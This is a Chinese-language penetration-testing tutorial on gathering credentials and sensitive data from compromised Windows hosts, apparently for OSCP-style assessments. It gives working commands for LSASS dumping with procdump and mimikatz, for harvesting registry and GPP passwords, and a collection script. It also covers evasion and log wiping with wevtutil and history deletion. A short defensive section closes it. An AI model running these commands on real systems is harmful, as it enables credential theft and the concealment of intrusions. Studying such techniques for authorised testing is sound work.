Windows渗透测试中的敏感信息收集技术详解
1. 项目概述
在渗透测试和红队评估中,Windows系统权限提升是核心技能之一。当我们通过初始漏洞获取了某个Windows系统的低权限访问后,如何进一步收集系统敏感信息、寻找提权突破口,就成了决定评估深度的关键环节。这个项目主要聚焦Windows系统敏感信息收集的技术细节,这是OSCP等实战认证考试中的必考内容,也是企业安全评估中的高频需求。
我曾在多个企业内网渗透项目中验证过这套方法,发现即使是配置严格的生产环境,也常常因为管理员疏忽而遗留关键信息。比如在某次金融行业评估中,我们通过检索IIS日志中的备份文件路径,最终定位到包含域管理员凭据的批处理脚本。这种"信息收集-线索关联-横向移动"的链条,正是Windows渗透的标准打法。
2. 核心思路解析
2.1 敏感信息的定义与价值
Windows系统中的敏感信息主要包括:
- 凭据类:明文密码、密码哈希、API密钥、连接字符串
- 配置类:服务账户信息、注册表键值、组策略首选项
- 文档类:包含敏感内容的txt/ini/xml等文本文件
- 日志类:应用日志、安装日志、RDP连接记录
这些信息往往分散在文件系统、注册表、内存、服务配置等多个位置。专业渗透测试人员需要像侦探一样,通过系统性的搜索和关联分析,将这些碎片拼合成完整的攻击路径。
2.2 信息收集方法论
经过多个实战项目总结,我推荐采用分层搜索策略:
- 快速扫描层:使用自动化脚本快速抓取明显目标
- 深度挖掘层:针对特定区域进行人工验证
- 关联分析层:交叉验证不同来源的信息
这种分层方法既能保证覆盖广度,又能避免遗漏关键细节。下面我们具体看实现方式。
3. 实操步骤详解
3.1 基础环境准备
推荐使用以下工具组合:
- PowerUp.ps1:检查服务、计划任务等配置漏洞
- WinPEAS:自动化信息收集脚本
- AccessChk:检查文件/注册表权限
- 自定义PowerShell脚本:针对特定场景的深度搜索
提示:在实际评估中,建议先将工具上传到目标系统的
C:\Windows\Temp\目录,该路径通常有写入权限且不易触发告警。
3.2 文件系统敏感信息搜索
3.2.1 常规文件搜索技巧
# 搜索包含"password"关键字的文件 Select-String -Path "C:\*.config","C:\*.xml","C:\*.ini" -Pattern "password" -Recurse -ErrorAction SilentlyContinue # 查找最近修改的敏感文件 Get-ChildItem -Path C:\ -Include *.txt,*.bat,*.cmd -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } | Select-Object FullName,LastWriteTime重点关注目录:
C:\Windows\Panther\:安装日志可能含本地管理员密码C:\Windows\Temp\:临时文件常含配置信息C:\Users\[用户名]\AppData\Local\:应用存储的配置文件
3.2.2 备份文件挖掘实战
许多管理员会创建backup、old等目录存放旧文件。我曾通过以下命令发现过数据库连接字符串:
Get-ChildItem -Path C:\ -Include *.bak,*.old,*copy* -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Length -lt 5MB } | # 过滤大文件 Select-Object FullName3.3 注册表敏感信息提取
3.3.1 常见敏感注册表项
# 检查自动登录凭据 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword # 检索Putty保存的会话信息 reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s3.3.2 注册表深度挖掘技巧
使用AccessChk检查可写注册表项:
accesschk.exe -uwcqv "Authenticated Users" -k hklm\software我曾在一个政府项目中,通过可写的HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run注册表项实现持久化。
3.4 内存与进程信息收集
3.4.1 进程内存转储
使用Procdump提取lsass.exe内存:
procdump.exe -accepteula -ma lsass.exe lsass.dmp然后使用mimikatz离线提取凭据:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit3.4.2 环境变量检查
Get-ChildItem Env: | Where-Object { $_.Value -match "pass|key|secret" }4. 高级技巧与实战案例
4.1 组策略首选项(GPP)漏洞利用
检查\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\中的XML文件:
Get-ChildItem -Path "C:\Windows\SYSVOL\Domain\Policies\" -Filter *.xml -Recurse | Select-String -Pattern "cpassword" -List | Select-Object Path找到的cPassword值可用gpp-decrypt工具解密。
4.2 IIS日志分析实战
检查IIS日志中的敏感操作:
Get-ChildItem -Path "C:\inetpub\logs\LogFiles\W3SVC*" -Filter *.log -Recurse | Select-String -Pattern "upload|admin|backup|password" | Select-Object Line,FileName在某次医疗行业评估中,我们通过分析IIS日志发现了管理员通过Web界面重置密码的记录。
5. 防御对抗与痕迹清理
5.1 对抗AV检测的技巧
- 使用混淆的PowerShell脚本:
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(Get-Content -Path script.ps1 -Raw)) powershell.exe -EncodedCommand $encoded- 修改文件时间戳:
(Get-Item found_file.txt).LastWriteTime = (Get-Date).AddDays(-30)5.2 操作日志清理
清除PowerShell历史记录:
Remove-Item (Get-PSReadlineOption).HistorySavePath清除事件日志:
wevtutil.exe cl Security wevtutil.exe cl System6. 自动化脚本开发实践
6.1 敏感信息收集脚本示例
$output = @() $keywords = "password","secret","key","connectionstring","admin" # 文件内容搜索 foreach ($kw in $keywords) { $results = Select-String -Path "C:\*.config","C:\*.xml","C:\*.ini" -Pattern $kw -Recurse -ErrorAction SilentlyContinue foreach ($r in $results) { $output += [PSCustomObject]@{ Type = "FileContent" Path = $r.Path Line = $r.LineNumber Match = $r.Line } } } # 注册表搜索 $regPaths = @( "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "HKCU:\Software\SimonTatham\PuTTY\Sessions" ) foreach ($path in $regPaths) { if (Test-Path $path) { $props = Get-ItemProperty -Path $path foreach ($prop in $props.PSObject.Properties) { if ($prop.Name -match "password|key") { $output += [PSCustomObject]@{ Type = "Registry" Path = $path Key = $prop.Name Value = $prop.Value } } } } } $output | Export-Csv -Path "C:\Windows\Temp\results.csv" -NoTypeInformation6.2 脚本优化技巧
- 添加随机延迟避免行为检测:
Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 10)- 使用WMI替代直接文件操作:
Get-WmiObject -Query "SELECT * FROM CIM_DataFile WHERE Extension = 'config' AND Drive = 'C:'"7. 企业环境特殊考量
7.1 域环境信息收集
检查组策略首选项:
Get-ChildItem -Path "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies\" -Filter *.xml -Recurse | Select-String -Pattern "cpassword" -List查询域控制器信息:
nltest /dclist:$env:USERDNSDOMAIN7.2 云环境适配
在Azure混合环境中,检查:
- Azure代理配置文件:
C:\Program Files\Microsoft Azure Recovery Services Agent\Scratch\ - AWS元数据服务:
http://169.254.169.254/latest/meta-data/
8. 防御建议与加固措施
8.1 企业防御策略
- 文件系统监控:对敏感目录设置变更告警
- 注册表保护:限制关键注册表项的访问权限
- 日志强化:集中收集PowerShell操作日志
- 凭证管理:禁用组策略首选项中的密码存储
8.2 个人加固建议
- 定期检查计划任务:
schtasks /query /fo LIST /v - 审核启动项:
wmic startup get caption,command - 检查服务权限:
sc.exe sdshow <servicename>
在最近一次金融行业红队演练中,我们发现某系统管理员将数据库连接字符串硬编码在ASP页面中。通过系统性的信息收集,我们最终获得了整个业务区的访问权限。这再次证明,Windows系统信息收集是渗透测试中最具性价比的攻击面之一。